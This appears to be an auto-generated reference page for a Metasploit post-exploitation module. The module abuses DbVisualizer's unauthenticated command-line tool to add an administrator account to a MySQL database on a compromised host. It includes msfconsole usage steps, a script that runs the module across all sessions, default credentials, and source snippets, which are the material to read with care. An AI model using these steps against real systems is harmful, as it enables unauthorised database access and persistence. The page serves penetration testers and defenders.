Multi Manage DbVisualizer Add Db Admin - Metasploit
This page contains detailed information about how to use the post/multi/manage/dbvis_add_db_admin metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Multi Manage DbVisualizer Add Db Admin
Module: post/multi/manage/dbvis_add_db_admin
Source code: modules/post/multi/manage/dbvis_add_db_admin.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Linux, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases (With GUI). The remote database can be accessed from the command line without the need to authenticate, which can be abused to create an administrator in the database with the proper database permissions. Note: This module currently only supports MySQL.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/multi/manage/dbvis_add_db_admin
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/multi/manage/dbvis_add_db_admin
msf post(dbvis_add_db_admin) > show options
... show and set options ...
msf post(dbvis_add_db_admin) > set SESSION session-id
msf post(dbvis_add_db_admin) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/multi/manage/dbvis_add_db_admin")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the multi/manage/dbvis_add_db_admin post exploitation module looks in the msfconsole:
msf6 > use post/multi/manage/dbvis_add_db_admin
msf6 post(multi/manage/dbvis_add_db_admin) > show info
Name: Multi Manage DbVisualizer Add Db Admin
Module: post/multi/manage/dbvis_add_db_admin
Platform: Linux, Windows
Arch:
Rank: Normal
Provided by:
David Bloom
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DBALIAS localhost yes Use dbvis_enum module to find out databases and aliases
DBPASSWORD msfRocks yes User password to set
DBUSERNAME msf yes The user you want to add to the remote database
SESSION yes The session to run this module on.
Description:
Dbvisulaizer offers a command line functionality to execute SQL
pre-configured databases (With GUI). The remote database can be
accessed from the command line without the need to authenticate,
which can be abused to create an administrator in the database with
the proper database permissions. Note: This module currently only
supports MySQL.
References:
http://youtu.be/0LCLRVHX1vA
Module Options
This is a complete list of options available in the multi/manage/dbvis_add_db_admin post exploitation module:
msf6 post(multi/manage/dbvis_add_db_admin) > show options
Module options (post/multi/manage/dbvis_add_db_admin):
Name Current Setting Required Description
---- --------------- -------- -----------
DBALIAS localhost yes Use dbvis_enum module to find out databases and aliases
DBPASSWORD msfRocks yes User password to set
DBUSERNAME msf yes The user you want to add to the remote database
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the multi/manage/dbvis_add_db_admin post exploitation module:
msf6 post(multi/manage/dbvis_add_db_admin) > show advanced
Module advanced options (post/multi/manage/dbvis_add_db_admin):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the multi/manage/dbvis_add_db_admin module can do:
msf6 post(multi/manage/dbvis_add_db_admin) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the multi/manage/dbvis_add_db_admin post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(multi/manage/dbvis_add_db_admin) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- No luck today, access is probably denied for configured user !? Try in verbose mode to know what happened.
- File not found: <DBVIS_FILE>
- File not found: <DBVIS_FILE>
- Nothing read from file: <DBVIS_FILE>, file may be empty
- Database <DB_TYPE> is not supported (yet)
- Database alias not found in dbvis.xml
- dbviscmd.sh not found
- Dbvis home not found, maybe uninstalled ?
- dbviscmd.bat not found
- User doesn't have enough rights to execute dbviscmd, aborting
- <DBVIS> is not a file
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No luck today, access is probably denied for configured user !? Try in verbose mode to know what happened.
Here is a relevant code snippet related to the "No luck today, access is probably denied for configured user !? Try in verbose mode to know what happened." error message:
43: dbvis = find_dbviscmd()
44: unless dbvis.blank?
45: sql = get_sql(db_type)
46: errors = dbvis_query(dbvis, sql)
47: if errors == true
48: print_error("No luck today, access is probably denied for configured user !? Try in verbose mode to know what happened. ")
49: else
50: print_good("Privileged user created ! Try now to connect with user : #{datastore['DBUSERNAME']} and password : #{datastore['DBPASSWORD']}")
51: end
52: end
53: end
File not found: <DBVIS_FILE>
Here is a relevant code snippet related to the "File not found: <DBVIS_FILE>" error message:
70: dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml"
71: end
72:
73: unless file?(dbvis_file)
74: # File not found, we next try with the old config path
75: print_status("File not found: #{dbvis_file}")
76: print_status("This could be an older version of dbvis, trying old path")
77:
78: case session.platform
79: when 'linux'
80: dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
File not found: <DBVIS_FILE>
Here is a relevant code snippet related to the "File not found: <DBVIS_FILE>" error message:
80: dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
81: when 'windows'
82: dbvis_file = "#{user_profile}\\.dbvis\\config\\dbvis.xml"
83: end
84: unless file?(dbvis_file)
85: print_error("File not found: #{dbvis_file}")
86: return
87: end
88:
89: old_version = true
90: end
Nothing read from file: <DBVIS_FILE>, file may be empty
Here is a relevant code snippet related to the "Nothing read from file: <DBVIS_FILE>, file may be empty" error message:
93: raw_xml = ""
94: begin
95: raw_xml = read_file(dbvis_file)
96: rescue EOFError
97: # If there's nothing in the file, we hit EOFError
98: print_error("Nothing read from file: #{dbvis_file}, file may be empty")
99: return
100: end
101:
102: db_found = false
103: alias_found = false
Database <DB_TYPE> is not supported (yet)
Here is a relevant code snippet related to the "Database <DB_TYPE> is not supported (yet)" error message:
134: db_type = $1
135: db_type_ok = check_db_type(db_type)
136: if db_type_ok
137: print_good("Database #{db_type} is supported ")
138: else
139: print_error("Database #{db_type} is not supported (yet)")
140: db_type = nil
141: end
142: alias_found = false
143: end
144: end
Database alias not found in dbvis.xml
Here is a relevant code snippet related to the "Database alias not found in dbvis.xml" error message:
143: end
144: end
145: end
146: end
147: if db_type.blank?
148: print_error("Database alias not found in dbvis.xml")
149: end
150: return db_type # That is empty if DB is not supported
151: end
152:
153: # Find path to dbviscmd.sh|bat
dbviscmd.sh not found
Here is a relevant code snippet related to the "dbviscmd.sh not found" error message:
154: def find_dbviscmd
155: case session.platform
156: when 'linux'
157: dbvis = session.shell_command("locate dbviscmd.sh").chomp
158: if dbvis.chomp == ""
159: print_error("dbviscmd.sh not found")
160: return nil
161: else
162: print_good("Dbviscmd found : #{dbvis}")
163: end
164: when 'windows'
Dbvis home not found, maybe uninstalled ?
Here is a relevant code snippet related to the "Dbvis home not found, maybe uninstalled ?" error message:
180: if (d =~ /DbVisualizer[\S+\s+]+/i)
181: dbvis_home_dir = d
182: end
183: end
184: if dbvis_home_dir.blank?
185: print_error("Dbvis home not found, maybe uninstalled ?")
186: return nil
187: end
188: dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"
189: unless file?(dbvis)
190: print_error("dbviscmd.bat not found")
dbviscmd.bat not found
Here is a relevant code snippet related to the "dbviscmd.bat not found" error message:
185: print_error("Dbvis home not found, maybe uninstalled ?")
186: return nil
187: end
188: dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"
189: unless file?(dbvis)
190: print_error("dbviscmd.bat not found")
191: return nil
192: end
193: print_good("Dbviscmd found : #{dbvis}")
194: end
195: return dbvis
User doesn't have enough rights to execute dbviscmd, aborting
Here is a relevant code snippet related to the "User doesn't have enough rights to execute dbviscmd, aborting" error message:
211: vprint_status("#{resp}")
212: if resp =~ /denied|failed/i
213: error = true
214: end
215: else
216: print_error("User doesn't have enough rights to execute dbviscmd, aborting")
217: end
218: else
219: print_error("#{dbvis} is not a file")
220: end
221: return error
<DBVIS> is not a file
Here is a relevant code snippet related to the "<DBVIS> is not a file" error message:
214: end
215: else
216: print_error("User doesn't have enough rights to execute dbviscmd, aborting")
217: end
218: else
219: print_error("#{dbvis} is not a file")
220: end
221: return error
222: end
223:
224: # Database dependent part
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5702 Merged Pull Request: Add empty default vprint value
- #3552 Merged Pull Request: Correct DbVisualizer title name
- #3530 Merged Pull Request: create dbvis_add_db_admin.rb
References
See Also
Check also the following modules related to this module:
- post/multi/manage/autoroute
- post/multi/manage/dbvis_query
- post/multi/manage/fileshare
- post/multi/manage/hsts_eraser
- post/multi/manage/multi_post
- post/multi/manage/open
- post/multi/manage/play_youtube
- post/multi/manage/record_mic
- post/multi/manage/screensaver
- post/multi/manage/screenshare
- post/multi/manage/set_wallpaper
- post/multi/manage/shell_to_meterpreter
- post/multi/manage/sudo
- post/multi/manage/system_session
- post/multi/manage/upload_exec
- post/multi/manage/zip
Authors
- David Bloom
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.